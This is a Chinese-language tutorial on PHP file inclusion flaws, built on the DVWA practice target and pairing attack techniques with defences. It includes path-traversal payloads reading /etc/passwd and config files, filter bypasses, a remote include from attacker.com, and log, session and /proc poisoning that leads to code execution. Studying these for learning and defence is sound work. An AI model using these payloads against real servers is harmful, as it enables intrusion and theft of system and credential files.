1. 从“波浪线”到“任意文件读取”：文件包含漏洞的实战认知

最近在几个技术社群里，看到不少朋友在讨论VSCode里打开Keil工程时，遇到“在 browse.path 中未找到包含文件”的报错，或者文件路径下出现恼人的红色波浪线。这本质上是一个开发环境配置问题，需要正确设置包含路径。但作为一个搞安全测试的，我脑子里第一时间蹦出的却是另一个词：文件包含（File Inclusion）。这个在开发中看似平常的“包含”动作，一旦被恶意利用，就可能演变成Web安全领域一个经典且危害巨大的漏洞——攻击者能通过它读取服务器上的任意文件，甚至执行任意代码。

今天，我们就以安全学习和测试中最经典的靶场之一——DVWA（Damn Vulnerable Web Application）为例，彻底拆解“文件包含”漏洞。你会发现，它远不止是CTF比赛里的一个得分点，其原理与开发中“路径解析”的思维一脉相承，理解它能让你在写代码和做安全评估时，多一份警惕。很多人搭建DVWA靶场，照着“通关教程”一步步点按钮，却未必深究每个漏洞背后的“为什么”。我们这次就抛开步骤复现，深入原理、场景和防御，让你不仅知道DVWA里怎么“通关”文件包含这一关，更理解在真实世界里，它可能以何种面貌出现，以及如何从根本上避免。

2. DVWA靶场中的文件包含：不仅仅是通关

DVWA将文件包含漏洞设置成了四个难度等级：Low, Medium, High, Impossible。这不仅仅是安全级别的递增，更是一个绝佳的学习路径，展示了从最原始的错误到相对安全的代码的演进过程。

2.1 Low级别：漏洞的“教科书式”呈现

在Low级别，DVWA的源码通常简单到令人发指。核心代码可能只有一两行：

<?php $file = $_GET['page']; // 直接接收用户输入 include($file); ?>

这就是**本地文件包含（Local File Inclusion, LFI）**漏洞最赤裸裸的形式。程序没有任何过滤，直接将用户通过page参数传递的值，作为文件路径拼接到include()函数中。

攻击者可以做什么？

1. 读取敏感文件：通过路径遍历，读取服务器上的系统文件。
   • ?page=../../../../etc/passwd：尝试读取Linux系统密码文件。
   • ?page=../../../../windows/win.ini：尝试读取Windows系统文件。
   • ?page=../../config/database.php：尝试读取Web应用自身的数据库配置文件（这常常包含明文密码）。
2. 配合文件上传实现代码执行：如果网站同时存在文件上传功能，且上传的文件能被访问到（即使上传的是图片，但服务器错误地将其存储为.php后缀，或解析漏洞存在），攻击者可以先上传一个包含PHP代码的文本文件，然后通过文件包含去执行它。
   • 上传一个图片文件shell.jpg，内容为<?php phpinfo(); ?>。
   • 访问?page=./upload/shell.jpg，如果服务器配置不当（如未正确识别MIME类型，或开启了危险配置），可能会将图片中的PHP代码解析执行。

注意：在DVWA的Low级别，为了演示，它可能允许包含../../../../etc/passwd。但在真实现代服务器上，PHP的open_basedir等安全配置可能会阻止这种越界访问。不过，这不妨碍我们理解漏洞原理。

为什么这段代码如此危险？因为它完全信任了来自客户端的输入。在Web安全中，有一条铁律：永远不要信任用户输入。$_GET、$_POST、$_COOKIE等超全局变量中的数据，都是用户可以完全控制的。直接将其用于文件系统操作、数据库查询或命令执行，是绝大多数Web漏洞的根源。

2.2 Medium与High级别：漏洞防御的“攻防演练”

到了Medium级别，DVWA会引入一些基础的过滤，但往往存在缺陷，这正是我们学习“绕过”技巧的好机会。

常见的Medium级别防御及绕过：

• 防御：替换../和..\为空字符串。

  $file = str_replace(array('../', '..\'), '', $_GET['page']); include($file);

• 绕过：这种过滤是幼稚的，因为它只替换一次。
  • 攻击者可以使用....//或....\/。经过一次替换后，中间的../被移除，剩下的字符又组合成了新的../。
  • 例如：输入....//....//etc/passwd，替换后变成../../etc/passwd。

High级别的防御会更加严格，例如：

• 防御：要求参数必须以某个固定的字符串开头，如file。

  if( fnmatch( "file*", $file ) && $file != "include.php" ) { include( $file ); }

• 绕过：如果设计不当，可能利用空字节注入（在PHP 5.3.4之前有效）或路径截断。例如，传入file../../../../etc/passwd%00，%00是空字节的URL编码，在某些旧版本PHP中，include()函数在遇到空字节时会停止处理后面的字符，从而可能包含到file../../../../etc/passwd这个文件（当然这个文件不存在）。更常见的思路是，寻找服务器上其他合法的、以file开头的文件，尝试进行包含，或者结合其他漏洞（如日志注入）进行利用。

Impossible级别则展示了相对安全的做法：使用白名单机制。

$whitelist = array("file1.php", "file2.php", "file3.php"); if (in_array($file, $whitelist)) { include($file); } else { echo "Invalid file requested."; }

只允许包含预先定义好的几个文件，从根本上杜绝了用户输入控制文件路径的可能性。

2.3 从靶场到实战：思维模式的转变

在DVWA里，我们知道自己要找的是文件包含漏洞，目标明确。但在真实渗透测试或代码审计中，你需要具备“火眼金睛”。以下是一些可能隐藏文件包含漏洞的代码模式：

1. 模板引擎/模块加载：许多CMS或框架会通过参数来加载不同的模块或模板。例如：index.php?module=news，后端代码可能是include('./modules/'.$_GET['module'].'.php')。如果过滤不严，module参数就可能被利用。
2. 语言包切换：网站支持多语言，通过?lang=en来切换。后端可能包含./languages/'.$_GET['lang'].'.php。
3. 文件查看/下载功能：一些应用提供查看日志、下载备份文件的功能，参数可能是?file=error.log。如果直接使用file_get_contents()或include，就可能造成LFI。

实战心得：审计代码时，全局搜索include、require、include_once、require_once、file_get_contents、readfile等函数，查看它们的参数是否与用户输入（$_GET,$_POST,$_SERVER等）有关联，是发现文件包含漏洞最直接的方法。

3. 文件包含漏洞的深度利用：不止于读取

理解基础LFI后，我们会发现它的危害远不止读取几个配置文件。在特定条件下，LFI可以升级为远程文件包含（Remote File Inclusion, RFI）和代码执行，从而直接获取服务器权限。

3.1 远程文件包含（RFI）的条件与利用

RFI比LFI更危险，因为它允许攻击者从远程服务器包含恶意代码。但它的实现条件也更苛刻：

1. PHP配置允许：allow_url_fopen和allow_url_include这两个PHP配置项需要为On。在现代PHP版本中，allow_url_include出于安全考虑默认是Off的，这使得纯RFI漏洞比较少见。
2. 程序未对输入进行协议限制：如果代码直接包含http://attacker.com/shell.txt，且配置允许，PHP就会去请求这个URL，并将返回的内容当作PHP代码执行。

在DVWA中的体现：DVWA的Low级别环境可能为了教学而开启了allow_url_include。你可以尝试输入?page=http://你的服务器/shell.txt，其中shell.txt内容为<?php system('whoami'); ?>。如果成功，将会在页面上显示Web服务器进程的运行用户（如www-data）。

为什么RFI危害巨大？它意味着攻击者可以将攻击载荷托管在自己的服务器上，随时修改，无需依赖目标服务器上的文件，灵活性极高，是获取Webshell的捷径。

3.2 LFI到RCE的“组合拳”技巧

当RFI条件不满足时，高明的攻击者会利用LFI，结合服务器其他特性或文件，实现远程代码执行（RCE）。这才是文件包含漏洞在实战中的高级形态。

技巧一：包含日志文件（Log Poisoning）Web服务器（如Apache、Nginx）和很多Web应用都会记录访问日志、错误日志。这些日志文件的内容是部分可控的。

1. 注入PHP代码到日志：通过访问一个不存在的URL，将PHP代码作为URL的一部分，使其被记录到404错误日志中。例如访问：http://target.com/<?php phpinfo(); ?>。
2. 通过LFI包含日志文件：利用已有的LFI漏洞，去包含这个日志文件，如?page=../../../../var/log/apache2/error.log。当日志文件被include()执行时，其中我们注入的PHP代码就会被解析。
3. 结果：成功在服务器上执行了任意代码。

技巧二：包含Session文件PHP的Session机制会将Session数据存储在服务器的一个文件中（如/tmp/sess_[sessionid]）。如果应用将用户可控的数据存入$_SESSION，那么攻击者就有可能污染Session文件。

1. 污染Session：找到一个能将数据存入Session的功能点（如用户昵称、邮箱），输入<?php system('id'); ?>。
2. 获取Session文件路径：通过PHP信息泄露或其他方式，获取Session文件的存储路径和文件名（Session ID通常通过Cookie传递）。
3. 包含Session文件：利用LFI包含这个被污染的Session文件，触发代码执行。

技巧三：包含/proc/self/environ 或 /proc/self/fd/在Linux系统中，/proc/是一个特殊的虚拟文件系统，包含了进程信息。/proc/self/environ文件包含了当前进程的环境变量，其中HTTP_USER_AGENT等HTTP头信息是用户可控的。

1. 修改User-Agent：将HTTP请求的User-Agent头改为<?php phpinfo(); ?>。
2. 包含environ文件：通过LFI包含?page=../../../../proc/self/environ。
3. 挑战：这种方法成功率受限于Web进程是否有权限读取/proc下的文件，并且环境变量中可能包含特殊字符，需要精确控制。

技巧四：包含临时文件（如上传文件）正如前文所述，结合文件上传漏洞是最常见的组合利用方式。关键在于上传的文件必须能被访问到，并且服务器会以PHP方式解析它（可能通过.htaccess配置、解析漏洞或错误的MIME类型检查）。

实操心得：在实战渗透测试中，发现一个LFI漏洞后，不要满足于读几个文件。要立刻思考：能否结合RFI？服务器有哪些可写的、可预测路径的日志或临时文件？应用是否有文件上传点？是否有其他输入点能污染服务器上的文件？这种“漏洞联动”的思维，是初级和中级安全人员的主要分水岭。

4. 防御策略：从开发到部署的纵深防线

理解了攻击手法，防御思路就清晰了。防御文件包含漏洞需要一个纵深防御体系，而不是依赖单一措施。

4.1 开发层：编写“免疫”的代码

这是最根本、最有效的一层。

1. 白名单机制（首选）：像DVWA的Impossible级别一样，严格限定可以包含的文件名。

   $allowed_pages = ['home.php', 'about.php', 'contact.php']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include('./templates/' . $page); } else { include('./templates/error.php'); }

   即使参数被篡改，也只能跳转到有限的几个安全页面。

2. 避免动态包含：重新设计架构，如果可能，避免使用用户输入来动态决定包含哪个文件。使用路由控制器，将参数映射到固定的类或方法。

3. 如果需要动态包含，则严格过滤：

   • 路径固定：将用户输入仅作为文件名的一部分，且固定前缀和后缀。

     $file = basename($_GET['module']); // 使用basename去除路径 include('./modules/' . $file . '.inc.php');

   • 正则校验：使用严格的正则表达式匹配允许的字符（如只允许字母数字）。

     if (preg_match('/^[a-zA-Z0-9_]+$/', $file)) { include($file . '.php'); }

   • 绝对路径+目录限制：使用realpath()函数获取文件的绝对路径，然后检查这个路径是否在以安全目录为前缀的范围内。

     $base_dir = '/var/www/html/includes/'; $real_path = realpath($base_dir . $_GET['file']); if ($real_path && strpos($real_path, $base_dir) === 0) { include($real_path); }

     这里strpos($real_path, $base_dir) === 0确保$real_path是以$base_dir开头的，防止目录穿越。

4.2 配置层：收紧服务器“缰绳”

安全的代码需要运行在安全的环境上。

1. PHP配置：

   • allow_url_include必须设置为Off：这是防止RFI的最关键配置。在php.ini中确认。
   • allow_url_fopen谨慎设置：根据业务需要决定是否开启，非必要则关闭。
   • open_basedir：设置PHP可以访问的目录范围，将其限制在Web应用所需的目录内，可以有效防止跨目录读取敏感系统文件。例如：open_basedir = /var/www/html。
   • disable_functions：可以考虑禁用一些高危函数，如system,exec,shell_exec,passthru等，这样即使被包含执行了恶意代码，攻击者也无法执行系统命令。但这属于“缓兵之计”，治标不治本。

2. Web服务器配置：

   • 以最小权限运行：Web服务进程（如www-data, nginx用户）不应该有读取/etc/passwd、/etc/shadow等系统关键文件的权限。通过合理的系统用户和文件权限设置来实现。
   • 日志文件权限：确保Web服务器对日志文件只有追加写入的权限，没有执行权限，并且日志目录不可被Web用户访问，这能增加日志投毒的难度。

4.3 运维与审计层：持续监控与改进

1. 代码安全审计：在开发流程中引入代码安全审计环节，使用自动化工具（如静态代码分析工具SAST）和人工审计，重点检查文件操作、数据库查询、命令执行等危险函数的调用。
2. 输入验证框架：使用成熟的、安全的框架（如Laravel, Symfony等），它们通常提供了完善的输入验证和过滤机制，能避免开发者手动处理时出错。
3. 安全更新：保持PHP、Web服务器及所有中间件的最新版本，及时修补已知漏洞。

5. 在DVWA之外：文件包含的现代变体与思考

虽然经典的PHP文件包含漏洞在严格的白名单和现代框架下已不多见，但“包含”的思想和风险以其他形式存在着。

1. 服务器端模板注入（SSTI）可以看作是文件包含漏洞在模板引擎领域的“精神续作”。例如，在Jinja2 (Python)、Twig (PHP)、Freemarker (Java)等模板引擎中，如果用户输入被直接拼接到模板中，攻击者可能注入模板语法，从而读取敏感数据、执行代码。其危害性和利用思路与文件包含非常相似。

2. 不安全的反序列化反序列化漏洞中，攻击者可以控制被反序列化的数据，如果程序中存在类似“自动加载（autoload）”类文件的机制，并且加载路径依赖于反序列化对象中的属性，也可能导致类似文件包含的效果，加载并执行恶意类文件。

3. 其他语言中的类似问题文件包含并非PHP独有。在JSP中，<jsp:include>或<%@ include file="..." %>如果处理不当；在Node.js中，require()或fs.readFile()如果使用了用户输入；在Python的open()或import()中，都存在类似的风险。核心逻辑不变：用户可控的输入，未经严格校验，直接用于决定加载哪个文件或代码模块。

回到开头的“波浪线”问题：那个报错是开发工具在抱怨找不到头文件路径。而文件包含漏洞，是攻击者在抱怨“为什么服务器这么听话地找到了我指定的路径？” 两者的核心都是“路径解析”，只不过一个在开发阶段，一个在攻击阶段。作为一名开发者，养成对任何来自外部的数据都保持怀疑和验证的习惯，不仅是解决编译错误的需要，更是构建安全软件的第一道防线。

在DVWA里通关文件包含模块，可能只需要几分钟。但真正理解其原理、掌握其利用技巧、并能在代码中自觉规避，则需要将这种“输入即威胁”的思维刻入骨髓。下次当你写下一行include($user_input)或类似的代码时，希望你能想起这篇文章，停下来，为它加上一道白名单的锁。